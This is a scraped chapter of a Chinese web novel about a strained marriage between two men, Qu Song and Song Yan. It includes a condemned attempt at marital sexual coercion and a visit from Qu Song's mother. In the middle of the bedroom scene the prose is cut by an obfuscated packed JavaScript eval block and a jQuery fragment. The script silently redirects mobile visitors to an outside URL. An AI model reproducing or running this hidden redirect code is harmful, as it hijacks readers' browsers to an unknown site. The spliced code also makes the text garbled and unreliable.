默认冷灰
24号文字
方正启体

8. 强迫

作者:远志当归本书字数:K更新时间:
    楼上有人用电梯,电梯自动关闭上行。曲颂和宋琰面对面站在电梯口两侧。一步之隔,仿若天堑。


    没赶上电梯,宋琰泄愤似的用力戳了下电梯按钮,完全没有理会曲颂的打算。在宋琰的认知里,从来都是曲颂上赶着来求和,他只需等着就好。


    放在以前,曲颂的确会这么做,先妥协的人总会习惯妥协,但现在不会了。磨合必定会有阵痛,但既然决定开始,达到目的前他绝不会停止。毕竟他们还有很长的余生。


    电梯下到负一层又上来,曲颂一语不发地走进去,按了楼层后放下手,不再像以前那样按着开门键,耐心等宋琰进来。


    这种日常的细微小事宋琰从来都不放在心上,类似的还有熨好的衣服、做好的早饭……在宋琰的人生里,生来就有人为他做这些,没什么大不了。


    他习惯了享受,忽略了这些琐事之下的曲颂隐秘而无声的爱。


    电梯门开始关闭。


    宋琰双眼注视着曲颂,对方无动于衷的样子是从未有过的陌生。赶在彻底关闭的前一秒,宋琰上前一步,直接用手扒开了电梯门。


    如此危险的动作让曲颂心里一惊,面上仍旧不显。


    电梯一层一层地爬升,闭塞而安静。终于到了十三层,门开的瞬间曲颂便走了出去。


    看到跟在曲颂身后走进来的宋琰,张小梅满脸欣喜:“小琰回来了,吃饭了吗?没吃我去做。”


    见到张小梅,宋琰意外之余脸色缓和了几分:“吃过了。”


    曲颂:“妈,时间不早了,您去休息吧。”


    张小梅点了点头:“你俩也早点休息。”


    说完转身回了房间。


    曲颂径直走到沙发前坐下,打开电视。眼睛盯着屏幕,实则什么也没看进去。


    以前每次吵架,不理人是宋琰专属。曲颂不知道每当这时宋琰的感受如何,他是坐立难安的,这种被动的等待让他非常不习惯。


    宋琰受不了曲颂冷若冰霜的态度,几步走过去,挡在电视和曲颂中间,整个人仿佛笼子里的猛兽,处在暴怒的边缘:“我回来不是看你摆脸子的!”


    曲颂双腿交叠坐在沙发上,面对居高临下的宋琰,气势丝毫不输,反而有种说不出的掌控感。缓缓开口:“我没让你回来。如果你觉得回这个家很委屈,可以不用回。”


    “你这话什么意思?!”宋琰彻底怒了,也不管还有长辈在,大声咆哮,“你赶我走!你竟然赶我走?!”


    曲颂情绪仍旧很平静。如果可以,他也想和宋琰那样不管不顾的发泄情绪,但这么做解决不了问题。耐着性子道:“你说我摆脸子,可我不过是做了你做过的事而已,才一次你就受不了了吗?”


    “我做什么了?”宋琰不仅没有反思,反而责怪起曲颂来,“你不要没事找事!”


    曲颂声调也提高了些:“宋琰你扪心自问,在一起这么多年你有做过一丁点的改变吗?全都是我在迁就你!”


    宋琰理直气壮:“我凭什么要改?我让你迁就我了?别说的好像我逼你一样,还不是你自己乐意!”


    最后这句话直接将曲颂的心凿了个口子,他自嘲地笑了两声:“说得对,是我自己乐意。所以从现在开始,我不乐意了!”


    宋琰觉得自己好像失去了什么东西,却又快的抓不住,气冲冲扔下一句:“随便你!”转身往门口走去。


    曲颂靠在沙发上,手臂抵着额头,听到“砰!”的关门声,整个人是前所未有的疲倦。


    做任何事都需要动力,哪怕是吃口饭、喝口水,如果失去了求生的动力,也是极难坚持下去的。妥协也好,磨合也好,驱使曲颂去做的归根结底不过一个“爱”字。不仅是他对宋琰的爱,还有宋琰对他的。


    然而不知从何时起,这条名为“爱”的河流,似乎开始干涸了。


    在沙发上坐了几分钟,曲颂调整好情绪,故作轻松地打开次卧门,看到满脸担忧的张小梅,心里一阵内疚,准备了一肚子的话梗在喉咙里,像个做错事的孩子,干巴巴站在门口。


    张小梅什么责怪的话都没说,拍拍床,语气慈爱:“过来坐。”


    曲颂走过去坐到张小梅身边,看到妈妈鬓边的白发,突然有种想哭的冲动:“都有白头发了,怎么不染染,显年轻。”


    “染了也会长出来,过不了多久又得染,不够麻烦的。”张小梅语气洒脱,“白发有白发的美,能白发苍苍,也是上天的馈赠。”


    曲颂笑了笑:“明天我带您去我的律所看看,前段时间刚搬完,可宽敞了。”


    张小梅欣然答应:“好啊。”


    隔了两秒又问:“小琰走了?”


    曲颂“嗯”了声。


    张小梅语重心长道:“小琰家境好,又是独生,从小肯定是被家里人放在掌心里宠着,要什么有什么,性子免不了任性些。人无完人,过日子就是要多念着对方的好,这样才能长久。百年修得同船渡,千年修得共枕眠,你俩走到今天不容易,好好珍惜。”


    曲颂点了点头:“您放心吧,只要他不犯浑,我肯定不会放弃的。”


    完整的婚姻是曲颂的执念,这份执念根植于幼年的伤痛——要么就不结婚,结了就要走到最后。


    从次卧出来,曲颂回了房间,洗漱完躺在床上看手机,快凌晨一点才有了睡意,半睡半醒间感觉到有什么东西压在了身上。


    曲颂睁开眼,黑暗中只能看到大致轮廓,熟悉的气息让他一秒认出宋琰,惊慌感顷刻消散,刚要开口嘴唇便被堵住。


    宋琰发狠地吻着曲颂,不带任何怜惜和感情,像是在惩罚不听话的所有物。


    嘴唇被蹂--躏得发疼,连带着心也跟着疼了起来。


    曲颂用力咬了一口宋琰的嘴唇,趁他吃痛松开的间隙从床上坐起来,后背紧贴住床头,声音颤抖而愤怒:“我不是你发泄的工具!”


    宋琰死死盯着曲颂,难以置信:“你不让我碰?!”


    “不让!给我滚!”曲颂打开床头灯,抬手指着门,眼里是化不开的失望和受伤。橘色灯光笼罩在他周身,反倒更显孤单。


    在宋琰眼里,他现在恐怕都赶不上一个贵的充--气--娃娃,没有一点珍惜和爱意。


    从小到大,凡是宋琰想要的就没有得不到的,曲颂的拒绝让他瞬间失去理智,上前一步,猛地抓住曲颂的脚腕,将他拖了过来。


    曲颂被拽的失去平衡,摔在了床上。宋琰趁机扣住曲颂的手腕按过头顶,同时低头去吻他。


    曲颂偏头躲开宋琰的吻,嘴巴紧紧抿成一条线,也不吭声,沉默又倔强地挣扎着,眼眶却渐渐湿润了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779592|174781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    卧室里只有两人越发粗重的喘息声。


    手腕被攥得生疼,钻心似的疼。终于,曲颂瞅准机会,抬脚踢在了宋琰肚子上。


    宋琰没有防备,“噗通”一声摔到地上。


    曲颂压下眼里的泪水,冷声道:“你再敢强迫我一次,我就告你婚内强--奸!”


    宋琰冷笑了声,从地上站起来,出言威胁:“你今天不让我碰,我就去找别人!我说到做到!”


    宋琰本想通过这句话让曲颂服软,却小看了曲颂的傲骨。他可以低头求和,但不能被侮辱。


    曲颂看着宋琰,在一起八年,面前的人从来没让他觉得如此陌生过,竟连出轨这种话都说得出口。


    “你敢做我们就离婚,我也说到做到。”曲颂毫不示弱,眼睛里满是决然,“我如果做不到,就不得好死!”


    宋琰被最后这句话震惊的愣在原地,意识到自己说错了话。不过他向来高傲惯了,从不会低头服软,只是一语不发地转身离开,去了其他房间。


    卧室里只剩下曲颂自己,一动不动呆坐良久后,曲颂动作机械地整理好被宋琰扯乱的睡衣,侧躺在床上,双手抱肩,身体缩成一团,无声的泪水顺着眼尾滑落到枕头上。


    次日早上,曲颂从房间出来,张小梅正在厨房忙活,并未见到宋琰的身影,显然已经不在家了。


    就这样一走了之,连句道歉的话也没有,宋琰的字典里,大概是没有“对不起”这三个字的。


    曲颂藏好心里的失落,装成没事人似的进了厨房:“做什么好吃的?”


    张小梅笑意盈盈道:“昨天买了只小笨鸡,给你熬汤喝。”


    吃过早饭,曲颂带张小梅去了律所。正好许天和在,大摇大摆取代了曲颂的位置:“你去办公室休息,我带伯母参观。”


    曲颂恭敬不如从命,乖乖回了办公室。


    许天和领着张小梅将律所仔仔细细逛了一圈,边逛边介绍,最后回到了曲颂的办公室。


    张小梅满脸骄傲:“这可比上个地方宽敞太多了,你们俩辛苦了。”


    两个出身普通的人奋斗到如今的位置,其中艰辛只有自己清楚。


    许天和:“人往高处走,以后肯定会越来越好!”


    等曲颂身体恢复差不多了,张小梅便准备动身回老家。


    曲颂想留她再多待些日子,张小梅拒绝了:“你身体好了妈就放心了,不在这儿给你添麻烦。”


    曲颂一脸不赞同:“有什么麻烦的,我巴不得每天都能看见您。”


    张小梅压下心里的不舍,开玩笑道:“等以后我七老八十了,你想看不见都不行。”


    曲颂知道留不住,开车送张小梅到高铁站,叮嘱道:“别太节省了,该花就花,我现在有钱了,不用再过苦日子了。还有每月一次的体检必须坚持,能预防疾病。”


    张小梅一一应下。


    临别前,张小梅认真道:“别委屈了自己,只要不违法,你做任何决定妈都无条件支持。”


    这段时间张小梅看清了很多事情,作为长辈很多话不能说,不然只会加剧矛盾。但对张小梅来说,自己孩子的感受永远是最重要的。


    听明白的曲颂心里一阵感动,态度坚定:“您放心,我努力打拼到今天的位置,就是为了不受委屈。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)